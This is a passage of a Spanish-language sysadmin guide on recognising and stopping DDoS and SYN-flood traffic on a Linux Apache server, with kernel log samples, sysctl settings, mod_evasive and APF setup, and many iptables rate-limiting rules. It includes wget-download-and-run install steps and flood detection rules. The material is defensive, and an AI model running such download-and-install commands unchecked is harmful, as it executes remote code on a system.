80.235.39.64/2678
Jul 14 12:47:44 lan kernel: NET: 4360 messages suppressed.
Jul 14 12:47:44 lan kernel: TCP: drop open request from
80.103.166.148/1312
Jul 14 13:04:15 lan kernel: TCP: drop open request from
200.14.237.83/4787
Jul 14 13:04:22 lan kernel: NET: 147 messages suppressed.
Jul 14 13:04:22 lan kernel: TCP: drop open request from
81.38.172.161/4892
Jul 14 13:04:30 lan kernel: NET: 6 messages suppressed.
Jul 14 13:04:30 lan kernel: TCP: drop open request from
200.14.237.83/4934
Jul 14 13:04:30 lan kernel: TCP: drop open request from
200.14.237.83/4935
Jul 14 13:04:38 lan kernel: NET: 76 messages suppressed.
Jul 14 13:04:38 lan kernel: TCP: drop open request from
81.84.212.34/2861
Jul 14 13:04:40 lan kernel: NET: 269 messages suppressed.
Jul 14 13:04:40 lan kernel: TCP: drop open request from
200.14.237.83/3070
Jul 14 13:04:45 lan kernel: NET: 287 messages suppressed.
Jul 14 13:04:45 lan kernel: TCP: drop open request from
81.203.228.102/4400
Jul 14 13:04:50 lan kernel: NET: 98 messages suppressed.
Jul 14 13:04:50 lan kernel: TCP: drop open request from
81.84.212.34/3961
Jul 14 13:04:54 lan kernel: NET: 245 messages suppressed.
Jul 14 13:04:54 lan kernel: TCP: drop open request from
200.84.169.200/1183
Jul 14 13:05:00 lan kernel: NET: 1787 messages suppressed.
Jul 14 13:05:00 lan kernel: TCP: drop open request from
81.203.228.102/2050
Jul 14 13:05:04 lan kernel: NET: 3208 messages suppressed.
Jul 14 13:05:04 lan kernel: TCP: drop open request from
86.212.167.27/4720
Jul 14 13:05:09 lan kernel: NET: 2031 messages suppressed.
Jul 14 13:05:09 lan kernel: TCP: drop open request from
81.203.228.102/1794
Jul 14 13:05:14 lan kernel: NET: 2221 messages suppressed.
Jul 14 13:05:14 lan kernel: TCP: drop open request from
81.38.172.161/4908
Jul 14 13:05:21 lan kernel: NET: 730 messages suppressed.
Jul 14 13:05:21 lan kernel: TCP: drop open request from
81.203.228.102/1430
Jul 14 13:05:25 lan kernel: NET: 234 messages suppressed.
Jul 14 13:05:25 lan kernel: TCP: drop open request from
81.203.228.102/2939
Jul 14 13:05:30 lan kernel: NET: 1594 messages suppressed.
Jul 14 13:05:30 lan kernel: TCP: drop open request from
200.14.237.83/3876
Jul 14 13:05:36 lan kernel: NET: 633 messages suppressed.
Jul 14 13:05:36 lan kernel: TCP: drop open request from
86.212.167.27/1116
Jul 14 13:05:39 lan kernel: NET: 970 messages suppressed.
Jul 14 13:05:39 lan kernel: TCP: drop open request from
81.38.172.161/3040
Jul 14 13:05:45 lan kernel: NET: 548 messages suppressed.
Jul 14 13:05:45 lan kernel: TCP: drop open request from
81.203.228.102/2119
Jul 14 13:05:50 lan kernel: NET: 421 messages suppressed.
Jul 14 13:05:50 lan kernel: TCP: drop open request from
81.203.228.102/2478
Jul 14 13:05:56 lan kernel: NET: 379 messages suppressed.
Jul 14 13:05:56 lan kernel: TCP: drop open request from
81.203.228.102/4005
Jul 14 13:05:59 lan kernel: NET: 891 messages suppressed.
Jul 14 13:05:59 lan kernel: TCP: drop open request from
81.38.172.161/3568
Jul 14 13:06:04 lan kernel: NET: 2221 messages suppressed.
Jul 14 13:06:04 lan kernel: TCP: drop open request from
81.203.228.102/4532
Jul 14 13:06:09 lan kernel: NET: 243 messages suppressed.
Jul 14 13:06:09 lan kernel: TCP: drop open request from
81.203.228.102/1939
Jul 14 13:06:14 lan kernel: NET: 2166 messages suppressed.
Jul 14 13:06:14 lan kernel: TCP: drop open request from
81.38.172.161/2137
Jul 14 13:06:19 lan kernel: NET: 2071 messages suppressed.
Jul 14 13:06:19 lan kernel: TCP: drop open request from
81.38.172.161/3136
Jul 14 13:06:24 lan kernel: NET: 2069 messages suppressed.
Jul 14 13:06:24 lan kernel: TCP: drop open request from
81.84.212.34/4600
Jul 14 13:06:29 lan kernel: NET: 1797 messages suppressed.
Jul 14 13:06:29 lan kernel: TCP: drop open request from
86.212.167.27/3171
Jul 14 13:06:35 lan kernel: NET: 1292 messages suppressed.
Jul 14 13:06:35 lan kernel: TCP: drop open request from
81.203.228.102/1394
Jul 14 13:06:39 lan kernel: NET: 715 messages suppressed.

Veamos esto:

May 17 14:13:24 lan kernel: ip_conntrack: table full, dropping packet.

Table Full = Tabla Llena. Hay un problema porque el apache no admite


conexiones aunque sean legítimas. Lo que pueden hacer es aumentar el
valor de dicha tabla si nuestra red da para más:

echo "65535" > /proc/sys/net/ipv4/ip_conntrack_max

Para que el valor quede guardarlo y no se pierda al reiniciar, debemos


añadirlo en el sysctl.conf

net.ipv4.ip_conntrack_max = 65535

Recuerda reiniciar la red para aplicar los cambios en el /proc (service


network restart).
5)Paquetes Marcianos

Aug 31 12:41:29 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on


dev eth0
Aug 31 12:45:07 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on
dev eth0
Aug 31 12:52:57 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on
dev eth0
Aug 31 12:58:55 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on
dev eth0
Aug 31 13:08:12 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on
dev eth0
Aug 31 13:12:03 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on
dev eth0
Aug 31 13:34:38 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on
dev eth0
Aug 31 13:37:38 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on
dev eth0
Aug 31 13:52:42 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on
dev eth0
Aug 31 13:56:18 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on
dev eth0
Aug 31 13:59:54 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on
dev eth0
Aug 31 14:13:32 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on
dev eth0
Aug 31 14:38:08 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on
dev eth0
Aug 31 14:43:42 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on
dev eth0
Aug 31 14:50:05 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on
dev eth0
Aug 31 14:51:05 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on
dev eth0
Aug 31 14:57:58 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on
dev eth0
Aug 31 15:05:27 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on
dev eth0
Aug 31 15:06:14 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on
dev eth0
Aug 31 15:09:08 lan kernel: martian source 192.168.0.10 from 0.0.0.0, on
dev eth0
Son paquetes inesperados que llegan por un camino por el cual no pueden
llegar.

Usando paquetes como estos se pueden atacar vulnerabilidades remotas en


stacks tcp/ip

6) Mirando las gráficas del MRTG, RRDtool:

Si ves que el trafico inbound sube hasta los 100mbps es que te estan
haciendo un DDOS:

Intentar parar el ataque:

1.- mod_evasive

Web oficial:
http://www.nuclearelephant.com/projects/mod_evasive/

Consideramos que 50 conexiones por segundo a 2 paginas es suficiente


motivo como para bloquear esa ip:

Si queremos bloquear las ips que nos floodean, podemos usar el iptables:
DOSSystemCommand "sudo -u root -c '/sbin/iptables -A INPUT -s %s -j
DROP"

Recordemos que necesitamos mirar el syslog por si hay posibles falsos


positivos (IP’s que no hacían flood).

Para evitar falsos positivos:

Para que el mod_evasive funcione correctamente deberas modificar el:

MaxRequestsPerChild 0

Para poner un valor alto pero nunca ilimitado (0).

MaxRequestsPerChild 10000

Ejemplo:
http://www.eth0.us/mod_evasive

2.- mod_security

El único problema del mod_security es que necesitamos al menos un


argumento para detectar el ataque.

3.- Optimizando y asegurando la red con el sysctl.conf

cat /proc/sys/net/ipv4/tcp_syncookies

Code:

net.ipv4.conf.all.rp_filter = 1
net.ipv4.tcp_syncookies = 1
net.ipv4.icmp_echo_ignore_broadcasts = 1
4.- APF Firewall con el módulo anti-ddos:

wget http://www.rfxnetworks.com/downloads/apf-current.tar.gz
tar xvzf apf-current.tar.gz
cd apf-0.9.6-1/
./install.sh

service apf start


/usr/local/sbin/apf -s

Fichero de configuración:

/etc/apf/conf.apf

Después de hacer las pruebas dejamos:

DEVEL_MODE="0"

Si sale un error parecido a este:

apf(9413): unable to load iptables module (ip_tables), aborting.

Cambiamos esto:

SET_MONOKERN="1"

Puertos que queremos abrir (inbound)

IG_TCP_CPORTS="21,22,25,53,80,110"

Si quieres bloquear todo el trafico de salida lo ponemos en 1 (outbound)

EGF="0"

Si queremos usar el modulo antiddos poner a 1:

USE_AD="0"

LOG:

/var/log/apf_log
Para ver los paquetes que dropeamos:

LOG_DROP="1"

Lo guardarán en el syslog, ejemplo:

Proto= Protocolo
SRC= ip origen
SPT= Source Port (puerto d origen)
DST= Destination Port (puerto destino)

Oct 20 13:59:27 ns2 kernel: ** SANITY ** IN=eth0 OUT=


SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00
TTL=54 ID=18779 PROTO=TCP SPT=11629 DPT=80 WINDOW=0
RES=0x00 RST FIN URGP=0
Oct 20 14:00:16 ns2 kernel: ** SANITY ** IN=eth0 OUT=
SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00
TTL=54 ID=20376 PROTO=TCP SPT=27734 DPT=80 WINDOW=0
RES=0x00 RST FIN URGP=0
Oct 20 14:00:17 ns2 kernel: ** SANITY ** IN=eth0 OUT=
SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00
TTL=54 ID=20382 PROTO=TCP SPT=25943 DPT=80 WINDOW=0
RES=0x00 RST FIN URGP=0
Oct 20 14:00:17 ns2 kernel: ** SANITY ** IN=eth0 OUT=
SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00
TTL=54 ID=20387 PROTO=TCP SPT=19026 DPT=80 WINDOW=0
RES=0x00 RST FIN URGP=0
Oct 20 14:00:17 ns2 kernel: ** SANITY ** IN=eth0 OUT=
SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00
TTL=54 ID=20397 PROTO=TCP SPT=2155 DPT=80 WINDOW=0
RES=0x00 RST FIN URGP=0
Oct 20 14:00:17 ns2 kernel: ** SANITY ** IN=eth0 OUT=
SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00
TTL=54 ID=20407 PROTO=TCP SPT=9294 DPT=80 WINDOW=0
RES=0x00 RST FIN URGP=0
Oct 20 14:00:22 ns2 kernel: ** SANITY ** IN=eth0 OUT=
SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00
TTL=54 ID=20687 PROTO=TCP SPT=9269 DPT=80 WINDOW=0
RES=0x00 RST FIN URGP=0
Oct 20 14:00:22 ns2 kernel: ** SANITY ** IN=eth0 OUT=
SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00
TTL=54 ID=20694 PROTO=TCP SPT=27223 DPT=80 WINDOW=0
RES=0x00 RST FIN URGP=0
Oct 20 14:00:23 ns2 kernel: ** SANITY ** IN=eth0 OUT=
SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00
TTL=54 ID=20830 PROTO=TCP SPT=30938 DPT=80 WINDOW=0
RES=0x00 RST FIN URGP=0
Oct 20 14:00:25 ns2 kernel: ** SANITY ** IN=eth0 OUT=
SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00
TTL=54 ID=21038 PROTO=TCP SPT=5377 DPT=80 WINDOW=0
RES=0x00 RST FIN URGP=0
Oct 20 14:00:27 ns2 kernel: ** SANITY ** IN=eth0 OUT=
SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00
TTL=54 ID=21219 PROTO=TCP SPT=13341 DPT=80 WINDOW=0
RES=0x00 RST FIN URGP=0
Oct 20 14:00:42 ns2 kernel: ** SANITY ** IN=eth0 OUT=
SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00
TTL=54 ID=21990 PROTO=TCP SPT=22960 DPT=80 WINDOW=0
RES=0x00 RST FIN URGP=0
Oct 20 14:02:32 ns2 kernel: ** SANITY ** IN=eth0 OUT=
SRC=213.27.201.254 DST=192.168.0.3 LEN=40 TOS=0x00 PREC=0x00
TTL=54 ID=26386 PROTO=TCP SPT=2826 DPT=80 WINDOW=0
RES=0x00 RST FIN URGP=0

Recuerda que para usar el antidos debes añadir el cron job:

*/8 * * * * root /etc/apf/ad/antidos -a >> /dev/null 2>&1

5.- Parar el botnet:

ZmbScap - Zombie Scapper - Stoopt DDoS Programs


http://www.metaeye.org/projects/zmbscap/

Tracking Botnets - Bot-Commands


http://www.honeynet.org/papers/bots/botnet-commands.html

Tracking Botnets
http://www.honeynet.org/papers/bots/

Tracking Botnets - DDoS-attacks


http://www.honeynet.org/papers/bots/botnet-ddos.html

Phatbot Trojan Analysis


http://www.lurhq.com/phatbot.html
F-Bot by f-secure- Elimina el Agobot y todas sus variantes
http://www.f-secure.com/tools/f-bot.zip

Nepenthes - Autoinfecarse sin peligro para analizar


http://nepenthes.mwcollect.org/

honeytrap ? trap attacks against tcp services


http://honeytrap.sourceforge.net/

6.- Usando reglas del iptables:

-P INPUT DROP
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -p tcp ! --syn -j REJECT --reject-with tcp-reset
-A INPUT -m state --state INVALID -j DROP
-P OUTPUT DROP
-A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A OUTPUT -p tcp ! --syn -j REJECT --reject-with tcp-reset
-A OUTPUT -m state --state INVALID -j DROP
-P FORWARD DROP
-A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
-A FORWARD -p tcp ! --syn -j REJECT --reject-with tcp-reset
-A FORWARD -m state --state INVALID -j DROP
-A INPUT -i lo -j ACCEPT
-A OUTPUT -o lo -j ACCEPT
-A FORWARD -i lo -o lo -j ACCEPT

Code:

-A INPUT -p tcp --syn -j REJECT --reject-with icmp-port-unreachable

Code:

# la que mejor funciona


-N syn-flood
-A syn-flood -m limit --limit 100/second --limit-burst 150 -j RETURN
-A syn-flood -j LOG --log-prefix "SYN flood: "
-A syn-flood -j DROP

Code:

# como la anterior pero muy bestia


-N syn-flood
-A INPUT -i eth0:2 -p tcp --syn -j syn-flood
-A syn-flood -m limit --limit 1/s --limit-burst 4 -j RETURN
-A syn-flood -j DROP

Code:

-A INPUT -p tcp -m tcp --tcp-flags SYN,RST,ACK SYN -m limit --limit


1/sec -j ACCEPT
-A INPUT -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK RST -m limit
--limit 1/sec -j ACCEPT

Code:

# no es muy efectivo
-A INPUT -s 0/0 -p tcp --syn --source-port 1000:5000
--destination-port 80 -j DROP

Code:

# no es muy efectivo
-A INPUT -p tcp -m tcp --dport 80 --sport 1000:5000 --tcp-flags SYN SYN
-j DROP

Code:

# Descartar paquetes mal formados

-N PKT_FAKE
-A PKT_FAKE -m state --state INVALID -j DROP
-A PKT_FAKE -p tcp --dport 80 --tcp-flags ALL ACK,RST,SYN,FIN -j
DROP
-A PKT_FAKE -p tcp --dport 80 --tcp-flags SYN,FIN SYN,FIN -j DROP
-A PKT_FAKE -p tcp --dport 80 --tcp-flags SYN,RST SYN,RST -j DROP
-A PKT_FAKE -p tcp --dport 80 ! --syn -m state --state NEW -j DROP
-A PKT_FAKE -f -j DROP
-A PKT_FAKE -j RETURN

Code:

# syn-flood
-N syn-flood
-A INPUT -i eth+ -p tcp --tcp-flags SYN,ACK,FIN,RST RST -j syn-flood
-A FORWARD -i eth+ -p tcp --tcp-flags SYN,ACK,FIN,RST RST -j syn-
flood
-A syn-flood -m limit --limit 4/s --limit-burst 16 -j RETURN
-A syn-flood -m limit --limit 75/s --limit-burst 100 -j RETURN
-A syn-flood -j LOG --log-prefix "SYN FLOOD " --log-tcp-sequence
--log-tcp-options --log-ip-options -m limit --limit 1/second
-A syn-flood -j DROP
Code:

# By pepel. Requiere módulo limit


-A INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
-A INPUT -p tcp --dport 80 -m state --state NEW -m recent --update
--seconds 10 --hitcount 10 -j DROP

7.- Usando el mod_throttle

http://www.snert.com/Software/mod_throttle/

Otros:

Mod_Throttle, mod_bandwidth, mod_iplimit, mod_tsunami,


mod_limitipconn.c

Para Apache 2:

Code:

cd /usr/src
wget http://www.snert.com/Software/mod_throttle...throttle312.tgz
tar zxvf mod_throttle312.tgz
cd mod_throttle-3.1.2
pico Makefile
Then edit the line that reads:
APXS=apxs
And change it to read:
APXS=/usr/local/apache/bin/apxs
make
make install
service httpd restart
http://www.webhostgear.com/160.html

Вам также может понравиться